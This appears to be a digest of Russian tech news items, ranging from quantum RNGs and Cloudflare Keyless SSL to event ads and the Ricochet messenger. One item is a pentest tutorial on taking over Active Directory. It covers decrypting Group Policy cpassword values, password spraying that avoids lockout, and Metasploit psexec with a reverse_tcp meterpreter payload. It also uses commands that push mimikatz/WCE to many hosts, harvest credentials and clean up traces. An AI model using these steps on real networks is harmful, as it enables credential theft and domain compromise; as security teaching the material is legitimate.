Считается, что квантовые генераторы случайных чисел могут существенно увеличить безопасность криптографических протоколов. Они используют энтропию квантового шума, так что поток информации невозможно предсказать.

К сожалению, стоимость, размер и требования к энергопотреблению препятствуют повсеместному использованию квантовых ГСЧ. В то же время, цифровые фотокамеры мобильных телефонов всё лучше снимают в условиях плохой освещённости. Сенсоры становятся более чувствительными и регистрируют излучение вплоть до отдельных фотонов. Эти сенсоры и раньше использовали как источник энтропии, но они не обеспечивали достаточно большой цифровой поток и не учитывали квантовую неопределённость.

Группа прикладной физики из Женевского университета под руководством Бруно Сангинетти (Bruno Sanguinetti) разработала устройство квантового ГСЧ, который снимает данные с ПЗС- или КМОП-сенсора. Практически все источники света эмитируют фотоны со случайными интервалами: это называется квантовым шумом. Количество фотонов за единицу времени определяется распределением Пуассона. Новый ГСЧ учитывает это при генерации цифрового потока.

Для проверки концепции учёные использовали две камеры: одну высокого качества, а другую —на смартфоне. Рабочие параметры и результаты эксперимента показаны в таблице.

Обработав 48 полноразмерных кадров с матрицы, учёные получили поток 5 Гбит/с. Если пропустить их через экстрактор для повышения энтропии и лучшей рандомизации, то квантовый ГСЧ выдаёт 1,25 Гбита/с цифровой информации. Каждый пиксел камеры обеспечивает 3 случайных бита, так что обычные смартфоны могут выдавать поток случайных чисел от 300 Мбит/с до 3 Гбит/с.

Научную работу под названием «Квантовая генерация случайных чисел на мобильном телефоне» пока не приняли научные журналы, она опубликована в открытом доступе.

CDN-провайдер Cloudflare объявил, что запускает для клиентов новую услугу Keyless SSL, то есть «SSL без ключей». Это означает, что Cloudflare может устанавливать защищённые соединения от имени своих клиентов, даже не имея на руках их секретных ключей.

Такой способ защиты реализован, чтобы одновременно обеспечить защищённую связь и оставить нетронутыми секретные SSL-ключи клиентов. Это действительно важная причина, ведь многие компании из финансового или государственного сектора не могут воспользоваться услугами CDN-провайдера, потому что не имеют права передавать свои секретные цифровые ключи. В то же время, их сайты обязаны работать по HTTPS. Теперь эта проблема решена. По крайней мере, так считает Cloudflare, хотя некоторые независимые эксперты не одобряют подобный подход.

Традиционная схема SSL-рукопожатия с использованием секретного ключа RSA на стороне сервера

Cloudflare предлагает слегка модифицировать традиционную схему рукопожатия при установке SSL-соединения, чтобы вместо секретного ключа использовался key-сервер. Он просто возвращает «секретное» значение, которое подписано секретным ключом. При этом key-сервер находится в локальной сети клиента, а Cloudflare не имеет к нему доступа.

Другими словами, процесс рукопожатия SSL разбивается географически. Основная часть происходит на серверах Cloudflare, но только одно секретное значение нужно получить с key-сервера клиента. Этот сервер может работать под Linux (Red Hat/CentOS, Debian, Ubuntu и др.), другими UNIX-системами (включая FreeBSD) и Microsoft Windows Server.

В этом случае схема SSL-рукопожатия выглядит следующим образом.

Cхема рукопожатия Keyless SSL без использования секретного ключа RSA

Cхема рукопожатия Keyless SSL без использования секретного ключа DH

Исходный код Keyless SSL прошёл независимый аудит в компаниях iSEC Partners и Matasano Security. Реализация подобной схемы потребует внесения изменений в библиотеку OpenSSL и сервер Nginx, говорит Cloudflare.

Keyless SSL точно не повышает безопасность SSL-рукопожатия. В то же время, независимые эксперты сомневаются в инновационности предложенной методики. Они говорят, что загрузку цифрового ключа со стороннего носителя (SSL offloading) можно реализовать в рамках существующих стандартов.

Крупнейший в мире торрент-трекер обрабатывает запросы миллионов пользователей в день и входит в Топ-100 самых посещаемых сайтов интернета. При этом его аппаратная инфраструктура смехотворна. The Pirate Bay работает на виртуальных машинах через нескольких коммерческих хостеров. Те даже не подозревают, с кем имеют дело.

Хостинг у трёх облачных провайдеров на виртуальных машинах повышает мобильность и отказоустойчивость сервиса, за которым гоняются правоохранительные органы по всему миру. В случае закрытия одной машины всегда можно перенести VM в другое место. В наше время это делается буквально за несколько минут.

Разнесённые географически, серверы обеспечивают лучшую доступность из разных стран, откуда приходят посетители The Pirate Bay.

Раньше администраторы The Pirate Bay, живущие за пожертвования, указывали точные технические спецификации своих серверов. Сейчас, с виртуальными машинами, это тоже интересно.

Два года назад хватало четырёх виртуальных машин, сейчас их 21. Из них 8 — серверы фронтенда, ещё 6 обеспечивают поиск, а база данных хранится на двух VM. Оставшиеся пять машин используются для балансировки нагрузки (1), статистики (1), работы прокси на порту 80 (1), хранения торрентов (1) и управления (1).

В общей сложности, на все виртуальные машины выделено 182 ГБ оперативной памяти и 94 процессорных ядра. Доступное дисковое пространство составляет 620 ГБ, часть его свободна.

Поскольку трафик проходит через балансировщик нагрузки, то облачные провайдеры даже не подозревают, что у них размещается The Pirate Bay: запросы размываются между разными виртуальными машинами, а IP-адреса хостера не видны извне.

Fresh IT – карьерный форум для студентов технических направлений, проходящий в принципиально новом, ярком и нестандартном формате. Fresh IT создан специально для студентов технических факультетов и молодых специалистов.

Находишься в поиске работы или стажировки? Хочешь оценить себя на рынке труда, раскрыть свой карьерный потенциал? Наконец-то у тебя появилась такая возможность!

Приходи и пообщайся с представителями топовых компаний, задай вопросы стажерам, поучаствуй в активностях, прояви свои способности и, может, именно ты найдешь работу своей мечты!

Никогда еще карьерное мероприятие не было таким информативным и захватывающим!

Тебя ждут:
∙ питч-презентации компаний (15-минутный рассказ об основных тонкостях твоей специальности),
∙ увлекательный Speed Dating (5-минутные анонимные свидания с представителями компаний на околорабочие темы),
∙ networking-зона (пространство неформального общения, где за чашечкой кофе ты сможешь задать интересующие тебя вопросы представителям компаний)
и многое другое, о чем ты даже не смел мечтать!

> > Регистрируйся: http://it.careertrack.ru/index.html#register < < <

Ждём тебя 6 октября в 16:00 по адресу ул. Крымский Вал, 10 в пространстве ЦДХ!

Сегодня я расскажу о наиболее быстрых и легких способах получения максимальных привилегий в Active Directory и о том, как некоторые особенности групповых политик (GP) могут пошатнуть безопасность всей сети. Вообще, AD для пентестера, как и для администратора, очень удобная штука, позволяющая понять устройство всей информационной системы (ИС) на основании информации, представленной в каталоге.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Intro

Проводить внутреннее тестирование на проникновение зачастую каждый из нас начинает с подключения ноутбука к розетке RJ-45. В большинстве случаев мы не имеем никакого представления о локальной сети и только после подключения к сетевой розетке, начав слушать трафик, понимаем по крупицам, как там все устроено и на каких технологиях основано.

Если сеть достаточно объемная, а в большинстве случаев мы понимаем это по размеру организации, то быстро узнать наверняка, в каком сегменте находится тот или иной ресурс, важный для заказчика, становится крайне сложно. В таком случае очень полезно обладать максимальными привилегиями на некоторых уровнях информационной системы, что помогает посмотреть на сеть глазами администраторов тех или иных ресурсов, понять, как построить свой маршрут по сети для обхода файрволов и в какой именно VLAN нужно залезть, чтобы получить доступ к серверу биллинга.

Fast and furious

Active Directory («Активный каталог», AD) — LDAP-совместимая реализация службы каталогов корпорации Microsoft для операционных систем семейства Windows NT. Более подробно о нем можно прочитать на microsoft.com и получить представление из Википедии.

Итак, мы подключились к сети и знаем, что инфраструктура построена на AD. Предположим, что сетевые настройки нам выдал DHCP и про 802.1х никто не слышал.

Основной принцип техники, о которой мы поговорим, построен на получения доступа к групповым политикам AD, но параллельно с этим будут предложены и другие способы получения максимальных привилегий в каталоге.

Почему GP?

Групповые политики — это самый простой и удобный способ настройки компьютера и параметров пользователей в сетях на основе доменных служб Active Directory. Это действительно так, они используются повсеместно.

Многие администраторы в далеком 2008 году получили возможность использовать групповые политики для управления локальными привилегированными пользователями хостов на базе ОС Windows. Проще говоря, Microsoft добавила функционал для модификации локальных учетных записей ОС, в том числе изменение паролей — зачастую это необходимо для работы с ОС, когда она по каким-либо причинам не может получить доступ к каталогу AD и проверить корректность введенных на терминале учетных данных. Надеюсь, не стоит объяснять, что пароли привилегированных пользователей — полезная штука в работе хакера. Поэтому реализация именно этого функционала нас интересует на данный момент больше всего. Давай разберемся с этим процессом от лица администратора домена.

Создание локальных учетных записей через GP AD

Работа с групповыми политиками происходит через оснастку AD Group Policy Management (gpmc.msc). Для того чтобы понять, как это работает на практике, давай создадим политику, после применения которой на компьютере будет создан локальный пользователь с правами администратора.

Оснастка gpmc.msc

Конфигурация данной политики будет сохранена в файл Groups.xml в директории текущего домена — \dc.test\SYSVOL\dc.test{XX-X-X-X-XX}\Machine\Preferences\Groups\, где XX-X-X-X-XX — GUID созданной политики. Графический интерфейс — это, конечно, здорово, но давай взглянем на то, как же выглядит наша новая политика.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2013-09-30 07:15:09" uid="{DAB64924-75AF-49F9-B5CE-7CE4DF548221}" userContext="0" removePolicy="0">
<Properties action="U" newName="" fullName="" description="" cpassword="aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" subAuthority="" userName="Administrator (built-in)"/></User>
</Groups>

Как ты видишь, файл политики содержит в себе как имя пользователя — username, так и зашифрованный пароль — переменная cpassword. Из документации становится ясно, что в качестве алгоритма шифрования используется AES. Напомню, AES — симметричный алгоритм блочного шифрования. То есть для того, чтобы получить исходное значение, необходим ключ. По умолчанию, нам этот ключ никто не говорит, и складывается впечатление, что все безопасно и ключик сам по себе жестко защищен и хранится где-то в недрах этого монстра, каждый раз уникален и вообще даже не стоит заморачиваться. Хотя возникает вопрос: каким именно образом клиентская машина, получив эту групповую политику, получает исходное значение пароля? Как и где ОС достает этот ключ?

Все просто

Microsoft, видимо не захотев заморачиваться, предпочли использовать один и тот же ключ. То есть он зашит в каждой ОС, и он не уникален! Уффф, ты наверняка представил, что мы сейчас откроем IDA Pro и будем следить за процессом gpupdate и всеми его дочерними процессами до момента создания пользователя? Я тоже так думал до того момента, пока не залез в документацию MSDN касательно групповых политик и не наткнулся там на подраздел Password Encryption.

«Приватный» ключ для декрипта cpassword

Представь мое удивление, когда я обнаружил в публично доступной документации 256-битный ключ в открытом виде. Вероятно, разработчики верят в наши силы и способности, ребята позаботились об экономии твоего времени и нервов, за что им огромное спасибо. Дело за малым — давай разберемся, как можно получить исходное значение cpassword.

Создание локального пользователя через GP

Расшифровка

В расшифровке данных тебе с радостью поможет любая утилита, умеющая работать с шифрованием по алгоритму AES, например CrypTool.

Мы получили значение зашифрованного пароля из файла групповой политики, выглядит оно примерно следующим образом:

aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk

Как ты успел заметить, строка выглядит как значение в Base64, и это действительно так. Длина значения данной строки 43 символа — если это Base64, то нам необходимо довести длину строки до размера, кратного четырем, иначе она будет не совсем корректна. В итоге я получил вот такое значение:

aZCB6SQBc4vetC+FqeHT/RNuVyOPpGrf/QfvvnvWDEk=

Декодируем эту Base64-строку, получаем бинарные данные, которые сможем расшифровать, используя полученный от Microsoft 256-битный ключ AES.

Расшифрованное значение cpassword

Воспользовавшись утилитой CrypTool, я без труда получил исходное значение зашифрованной строки: flashback_P@ssw0rd_2008_.

Вернемся к RJ-45

Наверняка ты уже готов насладиться содержимым файла groups.xml, в котором найдена строка, включающая cpassword. Надеюсь, у тебя возник вопрос касательно прав доступа к этому файлу. И это хороший вопрос! Ответ на него прост: любой пользователь домена имеет доступ на чтение всех групповых политик. Твоя цель на данном этапе — получить доступ к домену с правами абсолютно любого пользователя.

НАПРО(ВЗ)ЛОМ

Я постараюсь рассказать тебе о самых простых, но и самых эффективных способах получения привилегированной учетной записи пользователя домена.
Сперва необходимо получить доступ непосредственно к AD, начнем с разведки боем. Первая наша цель — список пользователей. Ты можешь воспользоваться простыми методами:

• На контроллере домена запущен сервис LDAP, позволяющий анонимному пользователю получить информацию о структуре домена, в том числе список пользователей. С этой задачей поможет справиться любой LDAP-клиент.
• Имена хостов, введенных в домен, отражают имя пользователя, который работает на этом хосте, например vivanov.corp.local. С этой задачей тебе поможет справитьсяnbtscan.
• Большинство МФУ-устройств поддерживают функционал работы с LDAP, например для работы с общими папками. Зачастую для доступа к большинству из них достаточно значение логин-пароль по умолчанию, которые всегда можно найти в документации к устройству. LDAP — открытый протокол, а привилегии администратора устройства позволяют изменить IP-адрес сервиса LDAP. Перенаправив учетные данные на себя, мы получаем учетную запись домена.
• Перебор паролей локальных администраторов на машинах, введенных в домен.
• Поиск на расшаренных ресурсах файла unattend.xml/autounattend.xml, представляющего собой конфигурацию для автоматической установки ОС Windows, включая пароль локального администратора в открытом виде (или в Base64, при значении PlainText «false»).
• Составление списка потенциально существующих пользователей домена с использованием хакерской догадки.
• MITM-атаки (ARP/DHCP/NBNS) — тут можно получить много больше профита. Этим атакам посвящен не один материал на страницах ][, и смысла уделять ему пару строк совершенно нет.

Обладая списком пользователей домена, не стоит затягивать с перебором их паролей. Хотя если ты получил учетные данные, используемые каким-нибудь МФУ, то можешь отложить брутфорс и перейти к следующему шагу. Если же нет, то давай продолжим наши изыскания. В качестве объекта, позволяющего верифицировать валидность пары логин-пароль, обычно используется сервис SMB на контроллере домена, это связано со скоростью перебора паролей. Конечно же, никто не запрещает проводить атаку на сервис LDAP, или OWA (Outlook Web Access), или любой другой сервис, использующий учетные записи домена для авторизации пользователей.

Как ты наверняка знаешь, брутфорс довольно грубая штука, тем более в Active Directory. Он не только может быть замечен администратором, но и может повлечь за собой блокирование учетных записей пользователей, которые в данный момент работают с ИС. Этого допускать категорически нельзя. Политика блокирования (именно к блокированию и может привести брут) учетных записей доменных пользователей представлена в выводе команды net accounts, выполненной на машине, введенной в домен. Но так как мы не обладаем такой информацией на данный момент, то будем придерживаться немного жесткой политики блокирования учетных записей пользователей из-за неправильного ввода учетных данных.

Как правило, блокирование аккаунта пользователя осуществляется по триггеру — в течение 15 минут три раза введен неправильный пароль, по истечении 15 минут счетчик обнуляется, и учетная запись разблокируется, если была заблокирована. Хотя бывают ситуации, когда в зависимости от строгости администратора блок аккаунта может обернуться бумажной волокитой и объяснительными для пользователя, чья учетная запись заблокирована. И только после этого аккаунт снова будет активен. Поэтому не стоит злоупотреблять и выдавать свою активность. Самый лучший способ брутфорса — перебор не пароля, который подойдет к конкретному пользователю, а перебор имени пользователя по имеющемуся списку, который использует конкретный пароль. Одна итерация раз в 15 минут. Таким образом ты наверняка не повлияешь на работоспособность учетных записей, что действительно важно. Разгневанный пользователь для администратора более яркий маяк атаки, чем немного переполненные лог-файлы.

Успешный брутфорс SMB

Обладая учетной записью домена, ты обретаешь как минимум возможность получить доступ к сетевым ресурсам NETLOGON и SYSVOL, доступным для чтения всем доменным пользователям.

Папки netlogon и sysvol на DC

Напомню, папка NETLOGON — это некий отголосок прошлого в современных сетях, она необходима лишь в случае того, если в домене присутствуют рабочие станции под управлением Windows98. Она может содержать разноплановые скрипты, которые будут запускаться на рабочей станции при логине пользователя в систему. Для более поздних версий Windows такие скрипты хранятся в директории SYSVOL\scripts. Помимо этого, как было сказано ранее, папка SYSVOL содержит все объекты групповых политик домена.

Интересный файл Ch_Pwd.vbs в netlogon

Для начала рекомендую разобраться со всеми скриптами из папок NETLOGON иSYSVOL\scripts. Многие администраторы, не желая возиться с правами доступа, необходимыми для выполнения сценариев на рабочих станциях, прописывают в скриптах учетную запись с правами администратора домена, которую и использует сценарий. Часто встречаются обфусцированные скрипты на VBS, именно там бывает много вкусного. Вероятность, что ты наткнешься на какой-нибудь пароль, который администратор использует для многих ресурсов, очень высока.

Профит привилегий локального администратора

Когда у тебя есть учетная запись привилегированного пользователя (будь то учетная запись локального администратора рабочих станций или же доменная учетка, обладающая правами локального администратора на перечне рабочих станций или серверов), для быстрого получения максимальных привилегий в домене рекомендую использовать утилиты WCE илиmimikatz. Функционал каждой из этих утилит позволяет получить учетные данные всех авторизованных в локальной системе пользователей. Уверен, тебе интересно, как именно это работает. Это напрямую связано с реализацией в ОС Windows библиотеки WDigest.dll, предназначенной для дайджест-аутентификации. Особенности реализации механизмаHTTPDigest Authentication для поддержки SSO (Single Sign On) требуют знания вводимого пароля, а не только его хеша, поэтому разработчики решили зашифровать пароли пользователей с помощью стандартной функции LsaProtectMemory, а затем расшифровывать их с помощью функции LsaUnprotectMemory по мере необходимости.

Вывод утилиты mimikatz

Так что же дает нам использование этих утилит в контексте наших текущих привилегий? Все просто — существует очень большая вероятность того, что на одной из рабочих станций, на которой мы обладаем привилегиями локального администратора, сохранены учетные данные авторизированного в системе привилегированного пользователя. Если в первой итерации пароль администратора домена получить не удалось, то следует выявить пользователя, учетными данными которого ты обладаешь, с наивысшими привилегиями и повторить итерацию от его имени. Утилиты настолько просты в использовании, что даже пары слов уделять этому не стоит. Достаточно правильно рассудить, на какой именно рабочей станции они, скорее всего, присутствуют, — тут в помощь данные из LDAP, или же переходить с одного хоста на другой до тех пор, пока не появится ожидаемый результат. Но никто не любит рутину, а в случае, когда перед тобой стоит не особо интеллектуальная задача — запустить одну и ту же программу на сотне хостов, — только рутина и присутствует. Автоматизация — наше все. Автоматизировать заливку и запуск утилит достаточно просто с помощью всеми любимого MSF. К примеру, мы хотим выполнить WCE на нескольких десятках хостов, на которых наша учетная запись имеет привилегии локального админа. Для начала нам понадобится плагин Metasploit post_auto, который необходимо скопировать в директорию с плагинами (например, ~/.msf4/plugins). После чего необходимо подготовить бинарник WCE — не забывай, обе утилиты имеют свои версии для x86- и x64-систем. Запускаем Metasploit. Подгружаем плагин load post_auto. Выбираем для использования модуль load auxiliary/scanner/smb/psexec_scanner. Выставляем все необходимые значения (команда set), перечень которых можно увидеть в выводе команды show options. В качестве полезной нагрузки (payload), рекомендую использовать проверенный временемwindows/meterpreter/reverse_tcp. Запускаем модуль командой exploit. После того как выполнение модуля завершено, перечень сессий, созданных для дальнейшей работы с «порабощенными» хостами, представлен в выводе команды sessions. Если их нет — что-то пошло не так, RTFM, будь добр.

Активные сессии MSF

После того как сессии открыты, можно приступать к загрузке и выполнению нашей утилиты (WCE/mimikatz, параметры запуска, конечно же, различны). Для выполнения одной и той же команды в отношении всех созданных сессий используется команда multi_meter_cmd. Вот небольшой пример запуска утилиты WCE на всех хостах, где были созданы сессии:

`multi_meter_cmd -m "execute -H -m -d calc.exe -f /path/to/wce.exe -a '-w -o foo.txt'" -s all`

После чего MSF послушно заливает бинарник WCE на каждый хост и запускает его с параметрами -w –o foo.txt (запишет вывод в файл foo.txt текущей директории).

После того как команда выполнена на всех хостах, необходимо получить вывод WCE с каждого из них. Достаточно выполнить multi_cmd -c "type foo.txt" -s all и немного подождать.

Снимаем сливки с WCE

Собрав все выводы, почистим за собой — удалим файл foo.txt на каждом хосте: multi_cmd -c "del foo.txt" -s all. И закроем сессии, если они больше не нужны, — sessions -K.
С вероятностью 90% на первой же итерации ты получишь учетную запись администратора домена.

Outro

Уверен, что комбинация перечисленных методов поможет тебе составить несколько сценариев быстрого повышения привилегий в рамках Active Directory и позволит потратить больше времени на более глубокое исследование безопасности информационной системы. Ведь теперь перед тобой не black, а как минимум grey box! Удачных пентестов! Stay tuned!

Более полувека физики экспериментируют с получением электричества в компактных устройствах при минимальном количестве радиоактивного вещества. В таких элементах ток генерируют радиоизотопы за счёт бета-излучения. Процесс идёт десятилетиями. В 50-е годы прошлого века фантасты предполагали, что в будущем автомобили и все остальные приборы будут смогут работать без дозаправки или подзарядки в течение всего срока эксплуатации.

Со временем эксперименты свернули то ли под влиянием нефтяного лобби, то ли из-за угрозы терроризма (меньше всего верится в заботу о здоровье людей). Тем не менее, до сих пор находятся энтузиасты, которые верят в светлое будущее батареек с радиоизотопами.

Научный журнал Nature опубликовал статью (pdf) с описанием нового, относительно безопасного дизайна батарей на основе стронция-90. Авторы статьи — двое учёных из университета Миссури: адъюнкт-профессор Джа В. Квон и его коллега Пэк Хен Ким.

Корейские американцы предложили дизайн батареи, в котором для поглощения бета-излучения используется вода. Авторы показали, насколько эффективно происходит такое поглощение. Они также продемонстрировали, что свободные радикалы, которые непрерывно образуются в воде под воздействием бета-излучения, можно использовать для получения электрической энергии.

Конструкция батареи содержит электрод с TiO₂. На его пористой наноструктурированной поверхности при соприкосновении с водой образуются плазмоны — квазичастицы, отвечающие за квантование плазменных колебаний. Таким способом электрохимическая энергия свободных радикалов с очень высоким кпд преобразуется в поток электронов.

Батарея устойчива к низким температурам. Разработчики говорят, что её можно использовать в бытовых приборах (автомобили, системы домашнего энергоснабжения), так и в космических аппаратах.

Функциональное тестирование Android приложений, программирование на Swift, современные способы аутентификации, роль носимых гаджетов в безопасности, архитектура различных приложений, iBeacon, безопасность iOS-устройств и как их могут взломать – об этом и многом другом расскажут спикеры на первой международной конференции мобильных разработчиков #MBLTDev.

Конференция пройдет 28 октября в Digital October и соберет экспертов со всех концов света, от Филиппин до США для обмена опытом и последними тенденциями в области мобильной разработки.

Среди тех, кто уже подтвердил свое участие:

• Тим Мессершмидт, PayPal
• Брайан Холт, Reddit
• Джей Пи Симард, Realm
• Эш Фюрроу, Artsy
•  Руслан Шевчук, Aviasales
•  Энди Карвел, Soundcloud
• Андрей Беленко, viaForensics
• Александр Черный, Indie-разработчик
• Джаспер Блюз, Typhoon
•  Алексей Коровянский, Mb-Lock

Билеты можно приобрести на официальном сайте конференции. Стоимость билета составляет 5000 рублей, при покупке двух билетов действует скидка.

Если у вас есть уникальный опыт, которым вы хотите поделиться, отправляйте заявку на почту ot@e-legion.com с названием и описанием доклада. Все заявки будут рассмотрены программным комитетом.

Организаторы конференции: e-Legion и РАЭК

Партнеры конференции: Одноклассники, Tinkoff Credit Systems

Информационные партнеры: iGuides, Хакер.ру, Apps4all, App Tracktor, Pruffi, Digital HR, CMS Magazine

Сервис регистрации: Runet-ID

Официальный регистратор: RU-CENTER

Одним из самых популярных репозиториев на Github на прошлой неделе стала утилита SSHRC для автоматической конфигурации сессий SSH, чтобы быстро создавать привычное окружение.

SSHRC работает точно так же, как обычный клиент ssh, но после входа в удалённую систему сразу обрабатывает все элементы, которые содержатся в ~/.sshrc на вашем компьютере.

$ echo "echo welcome" > ~/.sshrc
$ sshrc me@myserver
welcome

$ echo "alias ..='cd ..'" > ~/.sshrc
$ sshrc me@myserver
$ type ..
.. is aliased to `cd ..'

Допускается задавать переменные окружения, определять функции и запускать команды после прохождения авторизации: запускать скрипты bash, автоматически копировать на удалённый сервер настройки vim, inputrc и т.д.

SSHRC — простая и полезная утилита, которая берёт настройки в вашей личной директории, никому не мешая. Ею могут пользоваться много человек с одного сервера.

Автор SSHRC предупреждает, что если запихнуть в ~/.sshrc.d настройки слишком большого количества программ, то авторизация на удалённом сервере замедлится. При увеличении размера папки до 1 мегабайта удалённые серверы могут начать разрывать соединение.

В острой борьбе за рентабельность майнинга владельцы ферм используют всё более экзотичные способы охлаждения ASIC-микросхем.

Недавно лайткоин-стартап CloudMining.sg совместно с сингапурским колледжем ITE College Central и технологической компанией 3M начал разработку новой жидкости, которая способна более эффективно отводить тепло от электроники. Судя по всему, инженеры из научно-исследовательского подразделения получили от стартапа грант на исследования с использованием оборудования и материалов 3M.

CloudMining.sg рассчитывает, что при погружении аппаратуры в новую жидкость затраты удастся снизить на 96%.

Это не единственный смелый проект использования новых способов охлаждения серверных стоек и оборудования. Поскольку у всех майнеров примерно одинаковая аппаратура, то любая экономия средств становится источником дополнительной прибыли.

Системы охлаждения с погружением в жидкость — пока что большая редкость в обычных дата-центрах. Но на фермах они стали обычным делом. Компания 3M — один из лидеров в этом направлении.

3M производит жидкость под названием Novec, которая охлаждает электронные платы в прямом контакте. Например, на гонконгских фермах ASICMiner тоже применяются такие ванны с температурой кипения жидкости около 49°C.

Ферма ASICMiner

Кроме 3M, производством подобных систем занимаются и другие компании. Главный конкурент — американская фирма Green Revolution Cooling, использующая для охлаждения нефтяное масло.

Ванна CarnotJet (производство Green Revolution Cooling)

Подрядчики ASICMiner утверждают, что с применением жидкостного охлаждения расходы на электричество снизились на 90%. Если они не сильно преувеличивают, то это действительно большое дело.

Журнал Wired опубликовал отличную статью о хакере по имени Джон Брукс (John Brooks), авторе IM-мессенджера Ricochet. Программа поддерживает шифрование, прячет метаданные и направляет трафик через Tor. Фактически, это значительно улучшенная, доработанная версия TorChat.

Сейчас Бруксу 22 года, но у талантливого программиста нет даже среднего образования: он ушёл из школы в 13 лет.

Программист-самоучка Джон Брукс всегда интересовался вопросами приватности и гражданских свобод. Он начал писать IM-мессенджер Ricochet аж четыре года назад, задолго до того, как всплыли документы Эдварда Сноудена о повсеместной прослушке трафика со стороны АНБ. К моменту скандала у него уже было решение для проблемы, которую многие только осознали.

В начале 2014 года Брукс решил сдуть пыль со старого проекта и придать ему современный вид. Проблема была в том, что его самого никто не знал, а программа Ricochet, пусть и с открытыми исходниками, ещё не проходила независимого аудита безопасности.

Клиент Ricochet подключается к P2P-сети, не раскрывая свой IP-адрес. Никто не может увидеть твой список контактов и узнать, с кем ты разговариваешь (очистка метаданных). Нет серверов и операторов, компрометация которых гарантированно приведёт к компрометации клиента Ricochet. В конце концов, это кросс-платформенная программа, понятная обычному пользователю.

Неожиданная помощь пришла от нескольких хакеров, которые как раз собирались делать подобную утилиту: это HD Moore (автор Metasploit), The Grugq (торговец эксплоитами), а также примкнувший к ним австралийский журналист Патрик Грей. Они запустили проект Invisible.im по созданию зашифрованного мессенджера с очисткой метаданных, чтобы избежать стандартной слежки АНБ.

Но когда организаторы проекта увидели Ricochet, то сразу поняли: это то, что надо. У них в распоряжении появился отличный код, который можно использовать. Теперь Invisible.im сосредоточится именно на дальнейшем развитии Ricochet. В ноябре они планируют выпустить новую, более защищённую версию.

Может быть, настал звёздный час Джона Брукса? Пару лет назад, когда он опубликовал исходники Ricochet, это практически никому не было интересно. Сегодня в безопасных коммуникациях нуждается весь мир.